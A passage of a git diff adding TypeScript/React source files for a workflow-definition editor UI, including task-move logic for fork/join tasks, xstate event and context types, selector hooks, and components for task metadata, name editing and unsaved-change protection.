TaskType.FORK_JOIN_DYNAMIC].includes( + originTaskToMove.type, + ) + ) { + const maybeLastCrumb = _last(originCrumbsToMove); + if (maybeLastCrumb?.refIdx != null) { + const pseudoJoinCrumbs = [ + ...originCrumbsToMove, + { + ...maybeLastCrumb, + refIdx: maybeLastCrumb?.refIdx + 1, // Kind of dangerous operation but we are removing the task after the fork + ref: "fake_join", + }, + ]; + + // original join task + const maybeJoinTask = crumbsToTask( + pseudoJoinCrumbs, + workflow.tasks || [], + ); + + if (maybeJoinTask?.type === TaskType.JOIN) { + // Lets assert is a join + // removes the fork and the join + const removeTaskResult = performOperation({ + workflow, + crumbs: originCrumbsToMove, + taskDef: originTaskToMove, + operation: { + type: DELETE_TASK, + payload: {}, + }, + }); + + // remove crumb for fork + let updatedCrumbs = removeTaskReferenceFromCrumbs( + belowDestinationTaskCrumbs, + originTaskToMove.taskReferenceName, + ); + + //remove crumb for join + updatedCrumbs = removeTaskReferenceFromCrumbs( + updatedCrumbs, + maybeJoinTask.taskReferenceName, + ); + // add original fork and join + const addTaskResult = performOperation({ + workflow: removeTaskResult, + crumbs: updatedCrumbs, + taskDef: belowDestinationTask, + operation: { + type: PAYLOAD_MODIFICATION_OPERATION, + payload: [originTaskToMove, maybeJoinTask], + }, + }); + + return addTaskResult; + } + logger.warn("Undefined behavior, join not found"); + } + } + + const removeTaskResult = performOperation({ + workflow, + crumbs: originCrumbsToMove, + taskDef: originTaskToMove, + operation: { + type: DELETE_TASK, + payload: {}, + }, + }); + + const updatedCrumbs = removeTaskReferenceFromCrumbs( + belowDestinationTaskCrumbs, + originTaskToMove.taskReferenceName, + ); + + const addTaskResult = performOperation({ + workflow: removeTaskResult, + crumbs: updatedCrumbs, + taskDef: belowDestinationTask, + operation: { + type: PAYLOAD_MODIFICATION_OPERATION, + payload: originTaskToMove, + }, + }); + return addTaskResult; +}; + +// TODO Change this to a reducer + +const keyIdentifier = "[key="; //This should not be here extract to constant file + +const portIdToDecisionBranch = (portId: string) => { + const keyIdx = portId.indexOf(keyIdentifier); + const endIdx = portId.indexOf("]"); + if (keyIdx === -1) { + throw new Error("Port id is not a decision branch"); + } + + return portId.substring(keyIdx + keyIdentifier.length, endIdx); +}; +export const buildDataForRemoveBranchOperation = ({ + port, + node, +}: { + port: PortData; + node: NodeData; +}) => { + const branchName = portIdToDecisionBranch(port.id); + return { + ...node.data, + branchName, + }; +}; + +export const buildDataForOperation = ( + port: PortData & { properties: { id?: string; side: string } }, + { data, ports = [] }: NodeData, +) => { + const portId = port?.properties?.id; + const { task, crumbs } = data; + if (task.type === TaskType.TERMINAL) { + return { + data: { + ...data, + action: ADD_TASK_ABOVE, + }, + }; + } else if ( + task.type === TaskType.FORK_JOIN && + port?.properties?.side === "SOUTH" + ) { + const forkIdx = ports.findIndex(({ id }: { id: string }) => portId === id); + return { + data: { + ...data, + crumbs: adjust( + crumbs.length - 1, + () => ({ + ...(_last(crumbs) || {}), + forkIdx, + }), + crumbs, + ), + action: ADD_TASK, + }, + }; + } else if (task.type === TaskType.SWITCH) { + if (port?.properties?.side === "SOUTH") { + const decisionBranch = portIdToDecisionBranch(portId!); + return { + data: { + ...data, + crumbs: adjust( + crumbs.length - 1, + () => ({ + ...(_last(crumbs) || {}), + onDecisionBranch: decisionBranch, + }), + crumbs, + ), + action: ADD_TASK, + }, + }; + } else if (port?.properties?.side === "INNER") { + // Special case this port does not exist but references a button + return { + data: { + ...data, + action: ADD_TASK_BELOW, + }, + }; + } + } else if ( + task.type === TaskType.DO_WHILE && + data.action === ADD_TASK_IN_DO_WHILE + ) { + return { data }; + } + return { + data: { + ...data, + action: + port.properties.side === "SOUTH" ? ADD_TASK_BELOW : ADD_TASK_ABOVE, + }, + }; +}; + +export const positionIdentifier = (position: string) => { + if (position === "BELOW") { + return ADD_TASK_BELOW; + } + if (position === "ADD_TASK_IN_DO_WHILE") { + return ADD_TASK_IN_DO_WHILE; + } + return ADD_TASK_ABOVE; +}; diff --git a/ui-next/src/pages/definition/state/types.ts b/ui-next/src/pages/definition/state/types.ts new file mode 100644 index 0000000..f58d041 --- /dev/null +++ b/ui-next/src/pages/definition/state/types.ts @@ -0,0 +1,358 @@ +import { ActorRef, DoneInvokeEvent } from "xstate"; +import { + ErrorInspectorMachineEvents, + WorkflowWithNoErrorsEvent, +} from "../errorInspector/state"; +import { UseLocalCopyChangesEvent } from "../ConfirmLocalCopyDialog/state"; +import { + AuthHeaders, + Crumb, + TaskDef, + WorkflowDef, + WorkflowMetadataI, + User, +} from "types"; +import { FlowEvents } from "components/features/flow/state"; +import { CodeTextReference } from "../EditorPanel/CodeEditorTab/state"; +import { + SavedCancelledEvent, + SavedSuccessfulEvent, +} from "../confirmSave/state"; +import { ImportSummary } from "utils/cloudTemplates"; + +type ImportantMessage = { + text?: string; + severity?: string; +}; + +export type OperationContext = { + task: TaskDef; + crumbs: Crumb[]; + action: string; // Not really a string +}; + +export enum LeftPaneTabs { + WORKFLOW_TAB = 0, + TASK_TAB = 1, + CODE_TAB = 2, + RUN_TAB = 3, + DEPENDENCIES_TAB = 4, +} + +export type RunWorkflowFields = { + input?: string; + correlationId?: string; + taskToDomain?: string; + idempotencyKey?: string; + idempotencyStrategy?: any; +}; + +export enum DefinitionMachineEventTypes { + UPDATE_ATTRIBS_EVT = "updateAttributes", + SAVE_EVT = "save", + RESET_EVT = "reset", + DELETE_EVT = "delete", + CHANGE_VERSION_EVT = "changeVersion", + ASSIGN_MESSAGE_EVT = "assignMessage", + MESSAGE_RESET_EVT = "messageReset", + RESET_CONFIRM_EVT = "resetConfirm", + CANCEL_EVENT_EVT = "cancel", + DELETE_CONFIRM_EVT = "deleteConfirm", + CHANGE_TAB_EVT = "changeTab", + PERFORM_OPERATION_EVT = "performOperation", + REPLACE_TASK_EVT = "replaceTask", + DEBOUNCE_REPLACE_TASK_EVT = "debounceReplaceTask", + REMOVE_TASK_EVT = "removeTask", + ADD_NEW_SWITCH_PATH_EVT = "addNewSwitchPathToTask", + UPDATE_WF_METADATA_EVT = "updateWorkflowMetadata", + REMOVE_BRANCH_EVT = "removeBranch", + TOGGLE_META_BAR_EDIT_MODE_EVT = "toggleMetaBarEditMode", + FLOW_FINISHED_RENDERING = "FLOW_FINISHED_RENDERING", + DOWNLOAD_FILE_REQUEST = "DOWNLOAD_FILE_REQUEST", + CONFIRM_LAST_FORK_REMOVAL = "CONFIRM_LAST_FORK_REMOVAL", + MOVE_TASK_EVT = "MOVE_TASK_EVT", + HANDLE_LEFT_PANEL_EXPANDED = "HANDLE_LEFT_PANEL_EXPANDED", + HANDLE_SAVE_AND_RUN = "HANDLE_SAVE_AND_RUN", + REDIRECT_TO_EXECUTION_PAGE = "REDIRECT_TO_EXECUTION_PAGE", + HANDLE_SAVE_AND_CREATE_NEW = "HANDLE_SAVE_AND_CREATE_NEW", + EXECUTE_WF = "EXECUTE_WF", + NEXT_STEP_IMPORT_SUCCESSFUL_DIALOG = "NEXT_STEP_IMPORT_SUCCESSFUL_DIALOG", + DISMISS_IMPORT_SUCCESSFUL_DIALOG = "DISMISS_IMPORT_SUCCESSFUL_DIALOG", + SYNC_RUN_CONTEXT_AND_CHANGE_TAB = "SYNC_RUN_CONTEXT_AND_CHANGE_TAB", + COLLAPSE_SIDEBAR_AND_RIGHT_PANEL = "COLLAPSE_SIDEBAR_AND_RIGHT_PANEL", + WORKFLOW_FROM_AGENT = "WORKFLOW_FROM_AGENT", + TOGGLE_AGENT_EXPANDED = "TOGGLE_AGENT_EXPANDED", +} + +export const DONT_SHOW_IMPORT_SUCCESSFUL_DIALOG_TUTORIAL_AGAIN = + "dontShowImportSuccessfulDialogTutorialAgain:2"; + +export type PerformedOperation = { + payload: Partial | Partial[]; +}; + +export type ErrorOnInvokeEvent = DoneInvokeEvent<{ + originalError: { status: number }; + errorDetails: { message: string }; +}>; + +export type UpdateAttributesEvent = { + type: DefinitionMachineEventTypes.UPDATE_ATTRIBS_EVT; + isNewWorkflow: boolean; + workflowName: string; + workflowVersions?: number[]; + currentVersion?: string; + workflowTemplateId?: string; + /** When true, keep the existing workflowChanges rather than clearing to {}. Used + * internally after a successful save to avoid a blank-workflow window during + * the async version-refetch that follows. */ + preserveWorkflowChanges?: boolean; +}; + +export type ChangeVersionEvent = { + type: DefinitionMachineEventTypes.CHANGE_VERSION_EVT; + version: string; +}; + +export type ChangeTabEvent = { + type: DefinitionMachineEventTypes.CHANGE_TAB_EVT; + tab: LeftPaneTabs; +}; + +export type PerformOperationEvent = { + type: DefinitionMachineEventTypes.PERFORM_OPERATION_EVT; + data: OperationContext; + operation: PerformedOperation; +}; + +export type ReplaceTaskEvent = { + type: DefinitionMachineEventTypes.REPLACE_TASK_EVT; + task: TaskDef; + crumbs: Crumb[]; + newTask: TaskDef; +}; + +export type RemoveTaskEvent = { + type: DefinitionMachineEventTypes.REMOVE_TASK_EVT; + task: TaskDef; + crumbs: Crumb[]; +}; + +export type AddNewSwitchTaskEvent = { + type: DefinitionMachineEventTypes.ADD_NEW_SWITCH_PATH_EVT; + task: TaskDef; + crumbs: Crumb[]; +}; + +type RemovalOperationPayload = { + task: TaskDef; + crumbs: Crumb[]; + branchName: string; +}; + +export type RemoveBranchFromTaskEvent = { + type: DefinitionMachineEventTypes.REMOVE_BRANCH_EVT; +} & RemovalOperationPayload; + +export type UpdateWorkflowMetadataEvent = { + type: DefinitionMachineEventTypes.UPDATE_WF_METADATA_EVT; + workflowMetadata: Partial; +}; + +export type DownloadFileEvent = { + type: DefinitionMachineEventTypes.DOWNLOAD_FILE_REQUEST; +}; + +export type SaveRequestEvent = { + type: DefinitionMachineEventTypes.SAVE_EVT; + /** When true, skip the isDescriptionEmpty guard. Used by agent-triggered saves + * so a workflow without a description is never silently swallowed. */ + skipDescriptionCheck?: boolean; +}; + +export type SaveAndCreateNewRequestEvent = { + type: DefinitionMachineEventTypes.SAVE_EVT; + originalEvent: DefinitionMachineEventTypes; +}; + +export type HandleSaveAndRunEvent = { + type: DefinitionMachineEventTypes.HANDLE_SAVE_AND_RUN; +}; + +export type HandleSaveAndCreateNewEvent = { + type: DefinitionMachineEventTypes.HANDLE_SAVE_AND_CREATE_NEW; +}; + +export type SaveAsNewVersionRequestEvent = { + type: DefinitionMachineEventTypes.SAVE_EVT; + isNewVersion: boolean; +}; + +export type SaveAndRunRequestEvent = { + type: DefinitionMachineEventTypes.SAVE_EVT; + isSaveAndRun: boolean; +}; + +export type ResetRequestEvent = { + type: DefinitionMachineEventTypes.RESET_EVT; +}; + +export type ResetConfirmEvent = { + type: DefinitionMachineEventTypes.RESET_CONFIRM_EVT; +}; + +export type DeleteConfirmEvent = { + type: DefinitionMachineEventTypes.DELETE_CONFIRM_EVT; +}; + +export type CancelEvent = { + type: DefinitionMachineEventTypes.CANCEL_EVENT_EVT; +}; + +export type DeleteRequestEvent = { + type: DefinitionMachineEventTypes.DELETE_EVT; +}; + +export type ConfirmLastForkTaskRemoval = { + type: DefinitionMachineEventTypes.CONFIRM_LAST_FORK_REMOVAL; +}; + +export type CollapseSidebarAndRightPanel = { + type: DefinitionMachineEventTypes.COLLAPSE_SIDEBAR_AND_RIGHT_PANEL; +}; + +export type MoveTaskEvent = { + type: DefinitionMachineEventTypes.MOVE_TASK_EVT; + sourceTask: TaskDef; + sourceTaskCrumbs: Crumb[]; + targetLocationCrumbs: Crumb[]; + targetTask: TaskDef; + position: "ABOVE" | "BELOW" | "ADD_TASK_IN_DO_WHILE"; +}; + +export type DoneInvokeLocalStorageMachineEvent = { + type: "done.invoke.localCopyMachine"; + data: { workflow?: Partial; isLocalStorageEmpty: boolean }; +}; + +export type HandleLeftPanelExpandedEvent = { + type: DefinitionMachineEventTypes.HANDLE_LEFT_PANEL_EXPANDED; + onSelectNode: boolean; +}; + +export type MessageResetEvent = { + type: DefinitionMachineEventTypes.MESSAGE_RESET_EVT; +}; + +export type RedirectToExecutionPageEvent = { + type: DefinitionMachineEventTypes.REDIRECT_TO_EXECUTION_PAGE; + executionId: string; +}; + +export type ExecuteWfEvent = { + type: DefinitionMachineEventTypes.EXECUTE_WF; +}; + +export type NextStepImportSuccessfulDialogEvent = { + type: DefinitionMachineEventTypes.NEXT_STEP_IMPORT_SUCCESSFUL_DIALOG; +}; + +export type DismissImportSuccessfulDialogEvent = { + type: DefinitionMachineEventTypes.DISMISS_IMPORT_SUCCESSFUL_DIALOG; +}; + +export type SyncRunContextAndChangeTabEvent = { + type: DefinitionMachineEventTypes.SYNC_RUN_CONTEXT_AND_CHANGE_TAB; + data: { + originalEvent: ChangeTabEvent; + runMachineContext: RunWorkflowFields; + }; +}; + +export type WorkflowFromAgentEvent = { + type: DefinitionMachineEventTypes.WORKFLOW_FROM_AGENT; + workflow: Partial; +}; + +export type ToggleAgentExpandedEvent = { + type: DefinitionMachineEventTypes.TOGGLE_AGENT_EXPANDED; + expanded?: boolean; // Optional: if provided, sets to that value; otherwise toggles +}; + +export type WorkflowDefinitionEvents = + | ConfirmLastForkTaskRemoval + | UpdateAttributesEvent + | ErrorOnInvokeEvent + | ChangeTabEvent + | PerformOperationEvent + | ReplaceTaskEvent + | RemoveTaskEvent + | AddNewSwitchTaskEvent + | RemoveBranchFromTaskEvent + | UpdateWorkflowMetadataEvent + | WorkflowWithNoErrorsEvent + | DownloadFileEvent + | SavedSuccessfulEvent + | SavedCancelledEvent + | SaveRequestEvent + | SaveAndCreateNewRequestEvent + | SaveAsNewVersionRequestEvent + | ResetRequestEvent + | DeleteRequestEvent + | ResetConfirmEvent + | DeleteConfirmEvent + | CancelEvent + | UseLocalCopyChangesEvent + | DoneInvokeLocalStorageMachineEvent + | MoveTaskEvent + | ChangeVersionEvent + | HandleLeftPanelExpandedEvent + | MessageResetEvent + | HandleSaveAndRunEvent + | HandleSaveAndCreateNewEvent + | SaveAndRunRequestEvent + | RedirectToExecutionPageEvent + | ExecuteWfEvent + | NextStepImportSuccessfulDialogEvent + | DismissImportSuccessfulDialogEvent + | SyncRunContextAndChangeTabEvent + | CollapseSidebarAndRightPanel + | WorkflowFromAgentEvent + | ToggleAgentExpandedEvent; +export interface DefinitionMachineContext { + currentWf?: Partial; + workflowChanges?: Partial; + currentUserInfo?: User; + isNewWorkflow: boolean; + workflowName?: string; + currentVersion?: string; + workflowVersions: number[]; + selectedTaskCrumbs: Crumb[]; + authHeaders: AuthHeaders; // This should be in auth actor + message: ImportantMessage; + openedTab: LeftPaneTabs; + previousTab: LeftPaneTabs; + lastPerformedOperation?: PerformedOperation; + errorInspectorMachine?: ActorRef; + downloadFileObj?: { + data: Partial; + fileName: string; + type: `application/json`; + }; + lastRemovalOperation?: RemovalOperationPayload; + flowMachine?: ActorRef; + workflowTemplateId?: string; + localCopyMessage?: string; + collapseWorkflowList?: string[]; + codeTextReference?: CodeTextReference; + isNewVersion?: boolean; + secrets?: Record[]; + envs?: Record; + initialSelectedTaskReferenceName?: string; // This is to dispatch to the flow machine + workflowDefaultRunParam?: Record; + saveSourceEventType?: DefinitionMachineEventTypes; // This is to save the event source in context + successfullyImportedWorkflowId?: string; + importSummary?: ImportSummary; + runTabFormState?: RunWorkflowFields; + isAgentExpanded?: boolean; +} diff --git a/ui-next/src/pages/definition/state/useGetVariablesForSelectedTasks.ts b/ui-next/src/pages/definition/state/useGetVariablesForSelectedTasks.ts new file mode 100644 index 0000000..67de7dc --- /dev/null +++ b/ui-next/src/pages/definition/state/useGetVariablesForSelectedTasks.ts @@ -0,0 +1,31 @@ +import { useSelector } from "@xstate/react"; +import { useMemo } from "react"; +import { crumbsToTaskSteps } from "components/features/flow/nodes"; +import _initial from "lodash/initial"; +import { extractVariablesFromTask } from "../helpers"; +import { ActorRef } from "xstate"; +import { WorkflowDefinitionEvents } from "./types"; + +export const useGetVariablesForSelectedTasks = ( + workflowDefinitionActor: ActorRef | undefined, +) => { + const selectedTaskCrumbs = useSelector( + workflowDefinitionActor!, + (state) => state.context.selectedTaskCrumbs, + ); + + const editorTasks = useSelector( + workflowDefinitionActor!, + (state) => state.context.workflowChanges.tasks, + ); + + const tasksInCrumbBranch = useMemo(() => { + if (editorTasks.length > 0) { + return _initial(crumbsToTaskSteps(selectedTaskCrumbs, editorTasks)); + } + return []; + }, [editorTasks, selectedTaskCrumbs]); + + const variableInputs = extractVariablesFromTask(tasksInCrumbBranch); + return variableInputs; +}; diff --git a/ui-next/src/pages/definition/state/useMadeChanges.ts b/ui-next/src/pages/definition/state/useMadeChanges.ts new file mode 100644 index 0000000..1f644f0 --- /dev/null +++ b/ui-next/src/pages/definition/state/useMadeChanges.ts @@ -0,0 +1,33 @@ +import { ActorRef } from "xstate"; +import { useMemo } from "react"; +import { WorkflowDefinitionEvents } from "./types"; +import { useSelector } from "@xstate/react"; +import fastDeepEqual from "fast-deep-equal"; +/* +Use this hook as low as the state tree can go. it is subscribed to workflowChanges +*/ +export const useWorkflowChanges = ( + service: ActorRef, +) => { + const isNewWorkflow = useSelector( + service, + (state) => state.context.isNewWorkflow, + ); + const currentWf = useSelector(service, (state) => state.context.currentWf); + + const workflowChanges = useSelector( + service, + (state) => state.context.workflowChanges, + ); + + const madeChanges = useMemo(() => { + return isNewWorkflow ? true : !fastDeepEqual(workflowChanges, currentWf); + }, [workflowChanges, currentWf, isNewWorkflow]); + + return { + isNewWorkflow, + currentWf, + workflowChanges, + madeChanges, + }; +}; diff --git a/ui-next/src/pages/definition/state/usePanelChanges.ts b/ui-next/src/pages/definition/state/usePanelChanges.ts new file mode 100644 index 0000000..0d203c5 --- /dev/null +++ b/ui-next/src/pages/definition/state/usePanelChanges.ts @@ -0,0 +1,22 @@ +import { useSelector } from "@xstate/react"; +import { ActorRef } from "xstate"; + +import { + DefinitionMachineEventTypes, + WorkflowDefinitionEvents, +} from "pages/definition/state/types"; + +export const usePanelChanges = (actor: ActorRef) => { + const setLeftPanelExpanded = () => { + actor.send({ + type: DefinitionMachineEventTypes.HANDLE_LEFT_PANEL_EXPANDED, + onSelectNode: false, + }); + }; + + const leftPanelExpanded = useSelector(actor, (state) => + state.matches("ready.rightPanel.closed"), + ); + + return { leftPanelExpanded, setLeftPanelExpanded }; +}; diff --git a/ui-next/src/pages/definition/state/usePerformOperationOnDefintion.ts b/ui-next/src/pages/definition/state/usePerformOperationOnDefintion.ts new file mode 100644 index 0000000..484c7b4 --- /dev/null +++ b/ui-next/src/pages/definition/state/usePerformOperationOnDefintion.ts @@ -0,0 +1,71 @@ +import { TaskDef, Crumb } from "types"; +import { ActorRef } from "xstate"; +import { + WorkflowDefinitionEvents, + DefinitionMachineEventTypes, + OperationContext, + PerformedOperation, +} from "./types"; + +export type TaskAndCrumbs = { + task: TaskDef; + crumbs: Crumb[]; +}; + +export const usePerformOperationOnDefinition = ( + service: ActorRef, +) => { + const handleReplaceTask = ( + { task, crumbs }: TaskAndCrumbs, + newTask: TaskDef, + ) => { + service.send({ + type: DefinitionMachineEventTypes.REPLACE_TASK_EVT, + task, + crumbs, + newTask, + }); + }; + + const handleRemoveTask = ({ task, crumbs }: TaskAndCrumbs) => { + service.send({ + type: DefinitionMachineEventTypes.REMOVE_TASK_EVT, + task, + crumbs, + }); + }; + + const handleAddSwitchPath = ({ task, crumbs }: TaskAndCrumbs) => { + service.send({ + type: DefinitionMachineEventTypes.ADD_NEW_SWITCH_PATH_EVT, + task, + crumbs, + }); + }; + + const handlePerformOperation = (operationData: { + data: OperationContext; + operation: PerformedOperation; + }) => { + service.send({ + type: DefinitionMachineEventTypes.PERFORM_OPERATION_EVT, + ...operationData, + }); + }; + + const handleRemoveBranch = ( + removeBranchRelevantData: TaskAndCrumbs & { branchName: string }, + ) => { + service.send({ + type: DefinitionMachineEventTypes.REMOVE_BRANCH_EVT, + ...removeBranchRelevantData, + }); + }; + return { + handleReplaceTask, + handleRemoveTask, + handleAddSwitchPath, + handleRemoveBranch, + handlePerformOperation, + }; +}; diff --git a/ui-next/src/pages/definition/task/CreationInfo.tsx b/ui-next/src/pages/definition/task/CreationInfo.tsx new file mode 100644 index 0000000..14c651b --- /dev/null +++ b/ui-next/src/pages/definition/task/CreationInfo.tsx @@ -0,0 +1,46 @@ +import { FunctionComponent } from "react"; +import { Stack } from "@mui/material"; +import { TaskDefinitionDto } from "types"; +import MuiTypography from "components/ui/MuiTypography"; +import { FORMAT_TIME_TO_LONG } from "utils/constants/common"; +import { formatInTimeZone } from "utils/date"; +import _isUndefined from "lodash/isUndefined"; + +export interface CreationInfoProps { + task: Partial; +} + +export const CreationInfo: FunctionComponent = ({ + task, +}) => { + return ( + + {(!_isUndefined(task?.createTime) || !_isUndefined(task?.createdBy)) && ( + + {`Created At ${ + task.createTime + ? formatInTimeZone(new Date(task.createTime), FORMAT_TIME_TO_LONG) + : "N/A" + } by ${task.createdBy || "N/A"}`} + Created at:  + + )} + + {(!_isUndefined(task.updateTime) || !_isUndefined(task.updatedBy)) && ( + + {`Last updated at ${ + task.updateTime + ? formatInTimeZone(new Date(task.updateTime), FORMAT_TIME_TO_LONG) + : "N/A" + } by ${task.updatedBy || "N/A"}`} + + )} + + {!_isUndefined(task.ownerEmail) && ( + {`Owner email: ${ + task.ownerEmail || "N/A" + }`} + )} + + ); +}; diff --git a/ui-next/src/pages/definition/task/NameDescription.tsx b/ui-next/src/pages/definition/task/NameDescription.tsx new file mode 100644 index 0000000..10ad0a0 --- /dev/null +++ b/ui-next/src/pages/definition/task/NameDescription.tsx @@ -0,0 +1,153 @@ +import { Box, TextField } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import { Text } from "components"; +import EditInPlace from "components/ui/inputs/EditInPlace"; +import _isString from "lodash/isString"; +import { useTaskDefinitionFormActor } from "pages/definition/task/form/state/hook"; +import { TASK_FORM_MACHINE_ID } from "pages/definition/task/state/helpers"; +import { FunctionComponent, useRef } from "react"; +import { disabledInputStyle } from "shared/styles"; +import { ActorRef } from "xstate"; +import { TaskDefinitionFormMachineEvent } from "./form/state/types"; +import { + TaskDefinitionMachineEvent, + TaskDefinitionMachineState, +} from "./state/types"; + +interface NameDescriptionProps { + taskDefActor: ActorRef; +} + +const flexWrap = { + display: "flex", + alignItems: "center", + gap: 4, + flexWrap: "wrap", +}; + +interface NameDescriptionFromProps { + // This should not be like this ideally the machine should reuse the editInPLace machine like human form builder does + formActor: ActorRef; +} + +const NameDescriptionForm: FunctionComponent = ({ + formActor, +}) => { + const inputNameRef = useRef(null); + const inputDescriptionRef = useRef(null); + + const [ + { modifiedTaskDefinition, isEditingName, isEditingDescription, error }, + { handleChangeTaskForm, setEditingFieldForm }, + ] = useTaskDefinitionFormActor(formActor); + return ( + <> + setEditingFieldForm(val ? "name" : "none")} + text={modifiedTaskDefinition.name} + childRef={inputNameRef} + disabled={false} + placeholder="Type task name here" + type="input" + > + handleChangeTaskForm(event.target.value, event)} + error={!!error?.name} + helperText={error?.name?.message} + sx={{ + input: { + fontSize: "14pt", + fontWeight: "bold", + }, + ...disabledInputStyle, + }} + /> + + setEditingFieldForm(val ? "description" : "none")} + text={modifiedTaskDefinition.description} + childRef={inputDescriptionRef} + disabled={false} + placeholder="Type task description here" + type="input" + > + handleChangeTaskForm(event.target.value, event)} + value={modifiedTaskDefinition.description || ""} + error={!!error?.description} + helperText={error?.description?.message} + sx={{ + input: { + fontSize: "12pt", + }, + ...disabledInputStyle, + }} + /> + + + ); +}; + +export const NameDescription: FunctionComponent = ({ + taskDefActor, +}) => { + const isFormState = useSelector(taskDefActor, (state) => + state.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.FORM, + ]), + ); + + // @ts-ignore + const formActor = taskDefActor?.children?.get(TASK_FORM_MACHINE_ID); + + const modifiedTaskDefinition = useSelector( + taskDefActor, + (state) => state.context.modifiedTaskDefinition, + ); + + return ( + + {isFormState && formActor ? ( + + ) : ( + <> + + {_isString(modifiedTaskDefinition?.name) + ? modifiedTaskDefinition?.name + : ""} + + + {_isString(modifiedTaskDefinition?.description) + ? modifiedTaskDefinition?.description + : ""} + + + )} + + ); +}; diff --git a/ui-next/src/pages/definition/task/SaveProtectionPrompt.tsx b/ui-next/src/pages/definition/task/SaveProtectionPrompt.tsx new file mode 100644 index 0000000..4039939 --- /dev/null +++ b/ui-next/src/pages/definition/task/SaveProtectionPrompt.tsx @@ -0,0 +1,204 @@ +import { useSelector } from "@xstate/react"; +import fastDeepEqual from "fast-deep-equal"; +import { FunctionComponent, useEffect, useRef } from "react"; +import BlockNavigationWithConfirmation from "components/BlockNavigationWithConfirmation"; +import { useSaveProtection } from "shared/useSaveProtection"; +import { ActorRef } from "xstate"; +import { TaskDefinitionFormMachineEvent } from "./form/state"; +import { + TaskDefinitionMachineContext, + TaskDefinitionMachineEvent, + TaskDefinitionMachineEventType, + TaskDefinitionMachineState, +} from "./state"; +import { TASK_FORM_MACHINE_ID } from "./state/helpers"; +export interface SaveProtectionPromptProps { + taskDefActor: ActorRef; +} + +const useCheckForChanges = ( + actor: + | ActorRef + | ActorRef, +) => { + const [modifiedTaskDefinition, originTaskDefinition] = useSelector( + actor, + (state) => [ + state.context.modifiedTaskDefinition, + state.context.originTaskDefinition, + ], + ); + const result = fastDeepEqual(modifiedTaskDefinition, originTaskDefinition); + return result; +}; + +export const SaveProtectionPrompt: FunctionComponent< + SaveProtectionPromptProps +> = ({ taskDefActor }) => { + // @ts-expect-error - children type is not fully typed + const formActor = taskDefActor?.children?.get( + TASK_FORM_MACHINE_ID, + ) as ActorRef; + + const noFormChanges = useCheckForChanges( + formActor != null ? formActor : taskDefActor, + ); + + const { + showPrompt, + successfulSave, + hasErrors, + handleSave: baseHandleSave, + } = useSaveProtection< + TaskDefinitionMachineContext, + TaskDefinitionMachineEvent + >({ + actor: taskDefActor, + noFormChanges, + isSaveInProgress: (state) => { + // Check if we're in DIFF_EDITOR state (save confirmation dialog) or createTaskDefinition state (saving) + return ( + state.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.DIFF_EDITOR, + ]) || + state.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.DIFF_EDITOR, + "createTaskDefinition", + ]) + ); + }, + hasErrors: (state) => { + const context = state.context; + const modifiedTaskDefinition = context.modifiedTaskDefinition; + + // Check for parse errors + if (context.couldNotParseJson) { + return true; + } + + // Check for API errors + if (context.error) { + return true; + } + + // Check for required fields + if (modifiedTaskDefinition) { + // Check if name is missing or empty + if ( + !modifiedTaskDefinition.name || + modifiedTaskDefinition.name.trim() === "" + ) { + return true; + } + } + + return false; + }, + detectSaveSuccessFromEvent: (eventType) => { + // Check for cancel event + if (eventType === TaskDefinitionMachineEventType.CANCEL_CONFIRM_SAVE) { + return false; + } + return undefined; + }, + detectSaveSuccessFromContext: ({ + currentContext, + previousContext, + wasSaving, + isSaving, + }) => { + // If we were saving and now we're not, check if originTaskDefinition was updated + if (wasSaving && !isSaving && previousContext) { + const currentOriginStr = JSON.stringify( + currentContext.originTaskDefinition, + ); + const prevOriginStr = JSON.stringify( + previousContext.originTaskDefinition, + ); + + // If origin was updated, save was successful + if (currentOriginStr !== prevOriginStr) { + return true; + } + } + return false; + }, + handleSaveAction: (actor) => { + // Check current state to see if we're already in the save confirmation dialog + const snapshot = actor.getSnapshot(); + const isInSaveConfirmation = snapshot.matches([ + TaskDefinitionMachineState.READY, + TaskDefinitionMachineState.MAIN_CONTAINER, + TaskDefinitionMachineState.DIFF_EDITOR, + ]); + + // If we're already in the save confirmation dialog, trigger the save immediately + if (isInSaveConfirmation) { + actor.send({ + type: TaskDefinitionMachineEventType.SAVE_TASK_DEFINITION, + }); + } else { + // Open the save confirmation dialog + // User will need to click "Confirm Save" button in the save confirmation dialog + actor.send({ + type: TaskDefinitionMachineEventType.SET_SAVE_CONFIRMATION_OPEN, + isContinueCreate: false, + }); + } + }, + }); + + // Track last synced form data to avoid unnecessary syncing + const lastSyncedFormDataRef = useRef(null); + + // Continuously sync form data to parent context + // This ensures form data is always in sync before any re-render happens + useEffect(() => { + if (!formActor) return; + + const subscription = formActor.subscribe((state) => { + if (state.context?.modifiedTaskDefinition) { + const formDataString = JSON.stringify( + state.context.modifiedTaskDefinition, + null, + 2, + ); + + // Only sync if the data has actually changed + if (lastSyncedFormDataRef.current !== formDataString) { + lastSyncedFormDataRef.current = formDataString; + // Sync form data to parent context + taskDefActor.send({ + type: TaskDefinitionMachineEventType.HANDLE_CHANGE_TASK_DEFINITION, + modifiedTaskDefinitionString: formDataString, + }); + } + } + }); + + return () => subscription.unsubscribe(); + }, [formActor, taskDefActor]); + + const handleSave = baseHandleSave; + + return ( + + Your recent changes are not saved to the server. To run the new task, + you have to save your progress. + + } + title={"Unsaved task confirmation"} + block={showPrompt} + onSave={handleSave} + successfulSave={successfulSave} + hasErrors={hasErrors} + /> + ); +}; diff --git a/ui-next/src/pages/definition/task/TaskDefErrorInspector.tsx b/ui-next/src/pages/definition/task/TaskDefErrorInspector.tsx new file mode 100644 index 0000000..3464e70 --- /dev/null +++ b/ui-next/src/pages/definition/task/TaskDefErrorInspector.tsx @@ -0,0 +1,77 @@ +import { colors } from "theme/tokens/variables"; +import AccordionSummary from "@mui/material/AccordionSummary"; +import ExpandMoreIcon from "@mui/icons-material/ExpandMore"; +import MuiTypography from "components/ui/MuiTypography"; +import AccordionDetails from "@mui/material/AccordionDetails"; +import List from "@mui/material/List"; +import { ListItem } from "@mui/material"; +import Accordion from "@mui/material/Accordion"; + +const TaskDefErrorInspector = ({ + error, + title, +}: { + error: { [key: string]: { message: string } }; + title?: string; +}) => { + const errorKeys = error ? Object.keys(error) : []; + + return ( + 